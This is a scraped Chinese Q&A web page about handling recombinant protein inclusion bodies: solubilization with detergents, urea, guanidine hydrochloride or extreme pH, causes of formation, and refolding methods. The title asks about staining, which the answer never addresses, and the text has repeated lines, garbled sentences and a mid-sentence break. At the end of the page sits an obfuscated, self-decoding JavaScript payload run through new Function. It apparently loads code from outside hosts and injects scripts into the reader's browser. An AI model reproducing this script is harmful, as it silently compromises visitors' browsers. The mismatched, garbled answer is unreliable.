包涵体染色的方法有哪些?原理是什么

2025-02-16 03:54:07
推荐回答(1个)
回答1:

包涵体染色的方法有哪些?原理是什么
包涵体染色的方法有哪些?原理是什么
包涵体染色的方法有哪些?原理是什么

蛋白包涵体-溶解原理及方法2009年03月15日;维持包涵体内蛋白质结构的作用力是分子内的作用力,;1.遵循标准;包涵体蛋白质的溶解同样是一个工艺的关键的步骤;(1)快速溶解的动力学;;(2)与蛋白质的结合是可逆的;;(3)对细胞碎片的分离方法没有干扰作用;;(4)对温度没有依赖作用;;(5)抑制蛋白质酶的降解作用;;(6)与蛋白质的氨基没有化学修饰作用;;

维持包涵体内蛋白质结构的作用力是分子内的作用力,这种作用力也维持天然蛋白质的稳定性的结构。先前有报道这种作用力是共价键结合的,但是,现在趋向于一致,就是维持包涵体内部的蛋白质的紧密的结构的是非共价键的作用力。二硫键,无论是正确的还是错误的二硫键,在维持内部蛋白质的紧密的结构中都没有发挥直接的作用。最经常的获得活性蛋白质的第一步是溶解这些包涵体蛋白质,溶解液是使这些包涵体蛋白质完全变性的成分,当蛋白质被溶解以后,则进入到蛋白质的体外折叠的过程。

1. 遵循标准

包涵体蛋白质的溶解同样是一个工艺的关键的步骤。溶剂的选择会影响后续的操作、最终的各种蛋白质的收率以及最终的成本,必须遵循以下的标准:

(1) 快速溶解的动力学;

(2) 与蛋白质的结合是可逆的;

(3) 对细胞碎片的分离方法没有干扰作用;

(4) 对温度没有依赖作用;

(5) 抑制蛋白质酶的降解作用;

(6) 与蛋白质的氨基没有化学修饰作用;

(7) 在可能的情况下,选择最低的溶解浓度和廉价的溶剂,并适于以后的复性方法。

2. 溶解包涵体的试剂

最经常使用溶解包涵体的试剂包括离液剂或者去垢剂。

最经常使用的溶解和制备蛋白质的离子型的离液剂最早于1969年Hatefi等人发展的离子型的去垢剂如SDS是另外一种溶解包涵体蛋白质和膜蛋白质的试剂,但是一般不用来大规模的生产,而是用来定性。除了强酸、强碱和利用有机溶剂来提取疏水性很强的蛋白质以外,其他的变性方法如非可逆的共价修饰在工业的大规模生产中很少用到。一旦蛋白质被溶解,蛋白质中的巯基很容易快速地氧化并形成共价的聚集体或者分子内错配的二硫键,然后这些蛋白质就不能再进行折叠。为了防止氧化,可以使这些基团或者利用缓冲液中含有低分子量的疏基试剂保持在还原的状态或形成磺酸盐或者形成混合的二硫键。

(1)去垢剂

去垢剂是一种最经济的溶解包涵体蛋白质的方法,一个最大的优点是溶解的蛋白质有可能保持全部的生物活性,说明在此条件下保持了蛋白质的四级结构。最重要的是稀释以后蛋白质的聚集比其它溶剂生成的很
少。阳离子型、阴离子型的和非离子型的去垢剂都可以使用,使用时的浓度一般高于去垢剂的临界胶束浓度(CMC ),通常是0.5-5%。

SDS仅仅在大量生产牛生长激素、干扰素和白介素-2中用到。SDS由于具有较低的临界胶束浓度(CMC)而使得结合到蛋白质分子上的SDS比较难于除去。由于N-十二烷肌氨酸它的CMC比SDS高0.4%,也被用来溶解包涵体蛋白质并可用稀释的方法使蛋白质复性,残余的去垢剂可以使用阴离子交换色谱或者超滤的方法除去。这种去垢剂是一种比较温和的去垢剂,可以选择性地溶解一些包涵体,但是不能溶解完全的变性的蛋白质的聚集体和大肠杆菌的内膜的蛋白质分子。使用去垢剂一个主要的缺点是对以后的纯化和复性的步骤的干扰,去垢剂结合到蛋白质上的强度大离子交换色谱复性蛋白质小不同,比较难于除去,并干扰离子交换和疏水相互作用色谱的过程,在变性的浓度时超滤膜会吸附这些变性剂。所以复性后需要尽量洗涤这些去垢剂,也可以使用环状糊精链状糊精或者环状淀粉从复性缓冲液中提取去垢剂。

一个不容忽视的问题是去垢剂可以溶解全部的膜蛋白质中的蛋白质酶,这些蛋白质酶的活性在去垢剂的存在的情况下被活化,可能造成溶解和复性过程的收率的降低。蛋白质复性的收率可以通过以下的方法来提高: a) 先期使用可以溶解膜蛋白质但是不溶解包涵体蛋白质的溶剂尽量洗涤包涵体蛋白质;

b) 包涵体的含有的菌体碎片被完全除去;

c) 溶解包涵体的液体中含有蛋白质酶的抑制剂,如EDTA,苯甲基磺酰氟(PMSF )等 。

(2)离液剂

其它的离液剂也被用来溶解包涵体蛋白质,最主要的溶解包涵体蛋白质的离液剂是盐酸胍和尿素,这是最经常使用的溶解试剂,一般情况下选择6-8mo1/L的浓度,蛋白质浓度在1-10mg/mL。

在溶解色氨酸合成酶A的过程,发现阳离子的溶解能力顺序是Gdm+ > Li+ > K+ > Na+,阴离子的顺序是SCN- > I- > Br- >Cr-。一些离液剂由于它们的溶液比盐酸胍和尿素有更高的密度和黏度而不适合用于溶解包涵体,因为利用离心和色谱分离起来比较困难。

为了溶解包涵体蛋白质需要的尿素或者盐酸胍的浓度根据蛋白质的不同而不同。如果蛋白质天然形态需要溶解的变性剂的浓度不能获得,则在溶解包涵体时需要首先确定离液剂的浓度。

盐酸胍由于比较贵,所以一般用来溶解一些附加值比较高的药物蛋白质分子,选择盐酸胍作为溶解试剂,是因为盐酸胍是一种比脲更为强烈的变性剂,甚至可以溶解脲所不能溶解的包涵体;尿素,由于可能被自发的形成的氰酸盐或者已有的氰酸盐的污染,特别是在碱性环境中,从而造成蛋白质的自由的氨基被不可逆的修饰。消除此种影响的方法是用阴离子的缓冲系统如Tris-HCl溶解脲或者脲在使用之前利用阴离子交换色谱纯化,并且配制的溶解和复性的缓冲液在当天使用。脲溶液中影响蛋白质变性的因素与盐酸胍的不同。溶在脲中的蛋白质受到pH和离子强度的影响,从而影响电荷的蛋白质残基之间的电荷作用,但是由于盐酸胍含有高浓度的离子强度,所以这两个因素的影响很少。

(3)混合溶剂

一般情况下去垢剂并不联合使用,Lilly等人发现去垢剂和尿素的混合液有效的摩尔浓度较低。尿素和去垢
剂型的盐混合可以使蛋白质变性,但是尿素和非去垢剂的盐如氯化钠反而降低包涵体蛋白质的溶解性,所以要避免使用。

去垢剂结合其他的试剂或者溶解增强剂也被使用,发现尿素和乙酸,尿素和二甲亚枫,尿素和高pH等是比较有效的溶解包涵体蛋白质的方法。

高压(1-2kbar)、超声也可以溶解包涵体蛋白质,此时使用的溶解试剂浓度可以比较低,便于后续的复性步骤。

3. 极端pH

酸碱度也是比较廉价的有效的溶解包涵体的方法。最经常使用酸的是有机酸,浓度在5-80%之间。Gavif和Better使用低的(pH≤2.6)和高温(85℃ )溶解抗真菌的重组蛋白质的肤段,低温和高PH需要溶解时间要长。Reddy和合作者也使用20%乙酸溶解一种麦芽糖结合的蛋白质。但是,同样的一些不可逆的修饰作用或者酸降解会在极端pH下发生,所以此种方法并不是经常使用的溶解包涵体的方法。

高pH(≥12)也被用来溶解生长激素和原胰岛素。在高pH下一些蛋白质同样可能发生非可逆的变性,原因在于半胱氨酸在碱性条件下的脱硫过程。所以这种方法尽管比较简单、廉价,同样仅仅用于一些特定的蛋白质,特别对于药用蛋白质一般不采用这种方法。

再登陆http://www.biox.cn/content/20050415/10541.htm

摘要 基因重组蛋白在大肠杆菌中表达时,由于表达量高,往往形成无生物活性的包涵体。包涵体必须经过变性和复性的过程才能获得有活性的重组蛋白。如何提高基因重组蛋白质的复性率,是生物工程技术的一个研究热点。对近年来的重组蛋白质的复性方法做一评述,为研究蛋白质折叠以及复性技术的进一步应用提供依据。
关键词 重组蛋白 包涵体 复性 二硫键
到目前为止,人们表达的重组蛋白质已有4000多种,其中用E.coli表达的蛋白质要占90%以上,尽管基因重组技术为大规模生产目标蛋白质提供了崭新的途径,然而人们在分离纯化时却遇到了意想不到的困难,即这些蛋白质在E.coli中绝大多数是以包涵体形式存在,重组蛋白不仅不能分泌到细胞外,反而在细胞内聚集成没有生物活性的直径约0.1~3.0μm的固体颗粒[1]。自从应用大肠杆菌体系表达基因工程产品以来,人们就一直期望得到高活性、高产量的重组蛋白。不可溶、无生物活性的包涵体必须经过变性、复性才能获得天然结构以及生物活性,因此应该选择一个合适的复性过程来实现蛋白质的正确折叠,获得生物活性,近年来的研究可以使复杂的疏水蛋白、多结构域蛋白、寡聚蛋白、含二硫键蛋白在体外成功复性。
包涵体形成的原因

重组蛋白在宿主系统中高水平表达时,无论是原核表达体系或真核表达体系甚至高等真核表达体系,都会形成包涵体[2]。主要因为在重组蛋白的表达过程中,缺乏某些蛋白质折叠过程中需要的酶和辅助因子,或环境不适,无法形成正确的次级键等原因形成的[3]。

1、 表达量过高,研究发现在低表达时很少形成包涵体,表达量越高越容易形成包涵体。原因可能是合成速度太快,以至于没有足够的时间进行折叠,二硫键不能正确配对,过多的蛋白间的非特异性结合,蛋白质无法达到足够的溶解度等。

2、 重组蛋白的氨基酸组成,一般说来含硫氨基酸越多越容易形成包涵体。

3、 重组蛋白所处的环境:发酵温度高或胞内pH接近蛋白的等电点时容易形成包涵体。

4、 重组蛋白是大肠杆菌的异源蛋白,由于缺少真核生物中翻译后修饰所需酶类,致使中间体大量积累,容易形成包涵体沉淀。

5、 有报道认为,丰富的培养基有利于活性蛋白质的表达,当培养条件不佳时,容易形成包涵体。
减少包涵体形成的策略

1、 降低重组菌的生长温度,降低培养温度是减少包涵体形成的最常用的方法,较低的生长温度降低了无活性聚集体形成的速率和疏水相互作用,从而可减少包涵体的形成[4]。

2、 添加可促进重组蛋白质可溶性表达的生长添加剂,培养E.coli时添加高浓度的多醇类、蔗糖或非代谢糖可以阻止分泌到周质的蛋白质聚集反应,在最适浓度范围内添加这些添加剂不会影响细胞的生长、蛋白质的合成或运输,其它促重组蛋白质可溶性表达的生长添加剂还有乙醇(诱导热休克蛋白的表达)、低分子量的巯基或二硫化合物(影响细胞周质的还原态,从而影响二硫键的形成)和NaCl[5]。

3、 供给丰富的培养基,创造最佳培养条件,如供氧、pH等。

包涵体的分离及溶解

对于生物制药工业来说,包涵体的形成也是有利的,不仅可获得高表达、高纯度的重组蛋白质,还可避免细胞水解酶对重组蛋白质的破坏。由于包涵体是蛋白质聚集而成的致密颗粒,分离的第一步是对培养收集的细胞进行破碎,比较有效的方法是高压匀浆结合溶菌酶处理,然后5000~20000g离心,可使大部分包涵体沉淀,与可溶性蛋白分离,接着,包涵体沉淀需用去污剂(Triton X-100或脱氧胆酸钠)和低浓度变性剂(2mol/L尿素或盐酸胍等)洗涤除去脂类和膜蛋白,这一步很重要,否则会导致包涵体溶解和复性的过程中重组蛋白质的降解[6、7、8]。

包涵体的溶解必须用很强的变性剂,如8mol/L尿素、6~8mol/L盐酸胍,通过离子间的相互作用破坏包涵体蛋白间的氢键而增溶蛋白。其中尿素的增溶效果稍差,异氰盐酸胍最强;去污剂,如SDS[7],可以破坏蛋白内的疏水键,可以增溶几乎所有的蛋白,但由于无法彻底去除而不允许用在制药行业中;酸,如70%甲酸[9],可以破坏蛋白的次级键从而增溶蛋白,这种方法只适合少数蛋白质。对于含有半胱氨酸的蛋白,在增溶时应加入还原剂(如DTT、GSH、β-ME)打开蛋白质中所有二硫键,对于目标蛋白没有二硫键的有时也应使用还原剂,为含二硫键的杂蛋白会影响包涵体的溶解,同时还应加入金属螯合剂,如EDTA或EGTA,用来螯合Cu2+、Fe3+等金属离子与还原状态的巯基发生氧化反应[10]。

蛋白质的折叠机理

包涵体蛋白在变性剂作用下,为可溶性伸展态,在变性剂去除或浓度降低时,就会自发的从变性的热不稳
状态向热力学稳定状态转变,形成具有生物活性的天然结构[11]。然而在去除变性剂的同时,重组蛋白质在体外折叠,分子间存在大量错误折叠和聚合,复性效率往往很低,包涵体蛋白折叠复性的效率实际上取决于正确折叠过程与聚集过程之间的竞争[1]。对于蛋白质的折叠机制,目前有多种不同的假设,但很多学者认为有一个“熔球态”的中间状态,在“熔球态”中,蛋白质的二级结构已经基本形成,其空间结构也初具规模,再做一些局部调整就可形成正确的立体结构,总之,蛋白质的具体步骤可用下式描述[12、13、14]:
伸展态→中间体→后期中间体→天然态体→聚集体

在折叠反应中,从伸展态到中间体的速度是非常快的,只需要几毫秒,但从中间体转变为天然态的过程比较缓慢,是一个限速过程。聚集过程与复性过程相互竞争,故而应尽量避免聚集体的产生。一般认为,蛋白质在复性过程中涉及两种疏水作用,一是分子内的疏水相互作用,可促进蛋白质正确折叠;一是部分折叠的肽链分子间的疏水相互作用,在复性过程中,部分折叠的中间体的疏水簇外露,分子间的疏水相互作用会导致蛋白质聚集。蛋白质的立体结构虽然由其氨基酸的顺序决定,然而伸展肽链折叠为天然活性结构的过程还受到周围环境的影响,如温度、pH值、离子强度、复性时间等因素的影响。

提高重组蛋白质折叠复性的方法

一个有效的、理想的折叠复性方法应具备以下几个特点:活性蛋白质的回收率高;正确复性的产物易于与错误折叠蛋白质分离;折叠复性后应得到浓度较高的蛋白质产品;折叠复性方法易于放大;复性过程耗时较少[15]。

1、 透析、稀释和超滤复性法:这三种方法是最传统也是应用最普遍的蛋白质折叠复性方法,复性活性回收率低,而且难于与杂蛋白分离。透析法耗时长,易形成无活性蛋白质聚集体;超滤法在膜上聚集变性,易造成膜污染;稀释法处理量太大,不利于工业放大[16]。

2、 高蛋白浓度下的复性方法:一个成功的复性过程在于能够在高蛋白浓度下仍能得到较高的复性率。一个方法是把变性蛋白缓慢连续或不连续地加入到复性液中[17]。在两次蛋白加入之间,应有足够的时间间隔使蛋白质折叠通过了易聚集的中间体阶段。这是由于完全折叠的蛋白通常不会与正在折叠的蛋白一起聚集。第二种方法是用温度跳跃策略[4]。变性蛋白在低温下复性折叠以减少聚集,直到易聚集的中间体大都转化为不易聚集的后期中间体后,温度快速升高来促进后期中间体快速折叠为蛋白的天然构象。第三种方法是复性在中等的变性剂浓度下进行[18],变性剂浓度应高到足以有效防止聚集,同时又必须低到能够引发正确复性。

3、 添加促进剂的复性方法:包涵体蛋白质折叠复性促进剂的促进作用可以分为:稳定正确折叠蛋白质的天然结构、改变错误折叠蛋白质的稳定性、增加折叠复性中间体的溶解性、增加非折叠蛋白质的溶解性。通常使用的添加剂有:a、共溶剂:如PEG6000~20000,通过与中间体特异的形成非聚集的复合物,可以阻止蛋白质分子间的相互碰撞机会,减少蛋白质的聚集;b、去污剂及表面活性剂:如Trition X-100、CHAPs、磷脂、磺基甜菜碱等对蛋白质复性有促进作用,但它们能与蛋白质结合,很难去除;c、氧化-还原剂:对于含有二硫键的蛋白,复性过程中应加入氧化还原体系,如GSH/GSSG、DTT/GSSG、DTE/GSSG等,氧化还原系统通过促进不正确形成的二硫键快速交换反应,提高了正确配对的二硫键的产率[19];d、小分子的添加剂:如盐酸胍或尿素、烷基脲、碳酸酰胺类等,都可阻止蛋白聚集,它们的作用可能为:稳定蛋白的活性状态、降低非正确折叠的稳定性、增加折叠中间体的稳定性、增加解折叠状态的稳定性。e、0.4~0.6M L-Arg:L-Arg能使得不正确折叠的蛋白质结构以及不正确连接的二硫键变得不稳定,使折叠向正确方向进行,可大幅度地提高包涵体蛋白质的折叠效率。f、添加分子伴侣和折叠酶:分子伴侣是指能够结合和稳定

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();